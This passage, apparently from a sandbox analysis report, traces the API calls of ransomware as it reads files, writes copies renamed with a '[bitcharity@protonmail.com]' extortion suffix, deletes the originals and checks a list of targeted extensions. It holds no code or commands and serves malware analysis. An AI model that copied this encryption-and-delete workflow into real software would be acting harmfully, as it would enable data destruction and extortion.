out: lpNewFilePointer=0x0) returned 1 [0155.905] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0155.906] GetLastError () returned 0x0 [0155.906] ReadFile (in: hFile=0x10e8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0156.066] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0156.068] ReadFile (in: hFile=0x10e8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.068] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.068] SetEndOfFile (hFile=0x10cc) Thread: id = 859 os_tid = 0x1c1c [0128.653] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36700b0 [0128.653] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3d00048 [0128.654] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ae0 [0128.654] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656040 [0128.654] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647af8 [0128.654] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3f0a020 [0128.658] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.658] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.658] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.658] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.658] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.659] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.659] Wow64DisableWow64FsRedirection (in: OldValue=0x334ff50 | out: OldValue=0x334ff50*=0x0) returned 1 [0128.659] lstrlenW (lpString="kernel32.dll") returned 12 [0128.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.659] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.659] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.659] Sleep (dwMilliseconds=0x64) [0128.877] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0128.877] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0128.877] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1044 [0129.510] GetFileSizeEx (in: hFile=0x1044, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=42674) returned 1 [0129.510] CloseHandle (hObject=0x1044) returned 1 [0129.510] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0129.510] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.510] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1044 [0129.510] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.510] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.510] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0129.511] GetLastError () returned 0x0 [0129.511] ReadFile (in: hFile=0x1044, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0129.548] WriteFile (in: hFile=0x1048, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0129.550] ReadFile (in: hFile=0x1044, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.550] WriteFile (in: hFile=0x1048, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x11e, lpOverlapped=0x0) returned 1 [0129.550] SetEndOfFile (hFile=0x1048) returned 1 [0129.550] CloseHandle (hObject=0x1048) returned 1 [0129.551] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.551] SetEndOfFile (hFile=0x1044) returned 1 [0129.552] CloseHandle (hObject=0x1044) returned 1 [0129.552] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.552] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0129.553] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.553] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.553] lstrlenW (lpString=".doc") returned 4 [0129.553] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0129.553] lstrlenW (lpString=".docx") returned 5 [0129.553] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0129.553] lstrlenW (lpString=".pdf") returned 4 [0129.553] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0129.553] lstrlenW (lpString=".xls") returned 4 [0129.553] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0129.553] lstrlenW (lpString=".xlsx") returned 5 [0129.553] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0129.553] lstrlenW (lpString=".ppt") returned 4 [0129.553] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0129.553] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.553] lstrlenW (lpString=".zip") returned 4 [0129.553] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0129.553] lstrlenW (lpString=".rar") returned 4 [0129.553] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0129.553] lstrlenW (lpString=".bz2") returned 4 [0129.553] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0129.553] lstrlenW (lpString=".7z") returned 3 [0129.553] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0129.553] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.553] lstrlenW (lpString=".dbf") returned 4 [0129.554] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0129.554] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.554] lstrlenW (lpString=".1cd") returned 4 [0129.554] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0129.554] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.554] lstrlenW (lpString=".jpg") returned 4 [0129.554] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0129.554] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.554] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.554] lstrlenW (lpString=".doc") returned 4 [0129.554] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0129.554] lstrlenW (lpString=".docx") returned 5 [0129.554] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0129.554] lstrlenW (lpString=".pdf") returned 4 [0129.554] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0129.554] lstrlenW (lpString=".xls") returned 4 [0129.555] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0129.555] lstrlenW (lpString=".xlsx") returned 5 [0129.555] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0129.555] lstrlenW (lpString=".ppt") returned 4 [0129.555] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0129.555] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.555] lstrlenW (lpString=".zip") returned 4 [0129.555] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0129.555] lstrlenW (lpString=".rar") returned 4 [0129.555] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0129.555] lstrlenW (lpString=".bz2") returned 4 [0129.555] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0129.555] lstrlenW (lpString=".7z") returned 3 [0129.555] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0129.555] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.555] lstrlenW (lpString=".dbf") returned 4 [0129.555] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0129.555] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.555] lstrlenW (lpString=".1cd") returned 4 [0129.555] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0129.555] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0129.555] lstrlenW (lpString=".jpg") returned 4 [0129.555] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0129.556] Sleep (dwMilliseconds=0x64) [0129.767] Sleep (dwMilliseconds=0x64) [0130.190] Sleep (dwMilliseconds=0x64) [0130.404] Sleep (dwMilliseconds=0x64) [0130.533] Sleep (dwMilliseconds=0x64) [0130.649] Sleep (dwMilliseconds=0x64) [0130.806] Sleep (dwMilliseconds=0x64) [0130.917] Sleep (dwMilliseconds=0x64) [0131.295] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0131.295] lstrlenW (lpString="LocalizedData.xml") returned 17 [0131.296] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0131.296] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=60816) returned 1 [0131.296] CloseHandle (hObject=0x10b4) returned 1 [0131.296] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0131.296] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.296] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0131.296] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.296] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.296] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0131.296] GetLastError () returned 0x0 [0131.296] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xed90, lpOverlapped=0x0) returned 1 [0132.047] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0132.049] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.049] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0132.049] SetEndOfFile (hFile=0x10b8) returned 1 [0132.049] CloseHandle (hObject=0x10b8) returned 1 [0132.051] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.051] SetEndOfFile (hFile=0x10b4) returned 1 [0132.052] CloseHandle (hObject=0x10b4) returned 1 [0132.053] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0132.053] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0132.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.053] lstrlenW (lpString=".doc") returned 4 [0132.053] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0132.053] lstrlenW (lpString=".docx") returned 5 [0132.053] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0132.053] lstrlenW (lpString=".pdf") returned 4 [0132.053] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0132.053] lstrlenW (lpString=".xls") returned 4 [0132.053] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0132.053] lstrlenW (lpString=".xlsx") returned 5 [0132.053] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0132.054] lstrlenW (lpString=".ppt") returned 4 [0132.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.054] lstrlenW (lpString=".zip") returned 4 [0132.054] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0132.054] lstrlenW (lpString=".rar") returned 4 [0132.054] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString=".bz2") returned 4 [0132.054] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString=".7z") returned 3 [0132.054] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0132.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.054] lstrlenW (lpString=".dbf") returned 4 [0132.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.054] lstrlenW (lpString=".1cd") returned 4 [0132.054] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.054] lstrlenW (lpString=".jpg") returned 4 [0132.054] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.054] lstrlenW (lpString=".doc") returned 4 [0132.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString=".docx") returned 5 [0132.054] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0132.054] lstrlenW (lpString=".pdf") returned 4 [0132.054] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0132.054] lstrlenW (lpString=".xls") returned 4 [0132.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0132.055] lstrlenW (lpString=".xlsx") returned 5 [0132.055] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0132.055] lstrlenW (lpString=".ppt") returned 4 [0132.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0132.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.055] lstrlenW (lpString=".zip") returned 4 [0132.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0132.055] lstrlenW (lpString=".rar") returned 4 [0132.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0132.055] lstrlenW (lpString=".bz2") returned 4 [0132.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0132.055] lstrlenW (lpString=".7z") returned 3 [0132.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0132.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.055] lstrlenW (lpString=".dbf") returned 4 [0132.055] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0132.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.055] lstrlenW (lpString=".1cd") returned 4 [0132.055] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0132.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0132.055] lstrlenW (lpString=".jpg") returned 4 [0132.055] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0132.055] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0132.055] lstrlenW (lpString="LocalizedData.xml") returned 17 [0132.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0132.056] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=82346) returned 1 [0132.056] CloseHandle (hObject=0x10b4) returned 1 [0132.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0132.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0132.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0132.056] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.056] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0132.056] GetLastError () returned 0x0 [0132.057] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0133.097] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0133.098] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.098] WriteFile (in: hFile=0x10b8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0133.098] SetEndOfFile (hFile=0x10b8) returned 1 [0133.099] CloseHandle (hObject=0x10b8) returned 1 [0133.101] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.101] SetEndOfFile (hFile=0x10b4) returned 1 [0133.102] CloseHandle (hObject=0x10b4) returned 1 [0133.102] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.102] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0133.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.102] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.103] lstrlenW (lpString=".doc") returned 4 [0133.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString=".docx") returned 5 [0133.103] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.103] lstrlenW (lpString=".pdf") returned 4 [0133.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString=".xls") returned 4 [0133.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString=".xlsx") returned 5 [0133.103] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.103] lstrlenW (lpString=".ppt") returned 4 [0133.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.103] lstrlenW (lpString=".zip") returned 4 [0133.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.103] lstrlenW (lpString=".rar") returned 4 [0133.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString=".bz2") returned 4 [0133.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString=".7z") returned 3 [0133.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.103] lstrlenW (lpString=".dbf") returned 4 [0133.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.103] lstrlenW (lpString=".1cd") returned 4 [0133.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.103] lstrlenW (lpString=".jpg") returned 4 [0133.103] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0133.104] lstrlenW (lpString=".doc") returned 4 [0133.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned 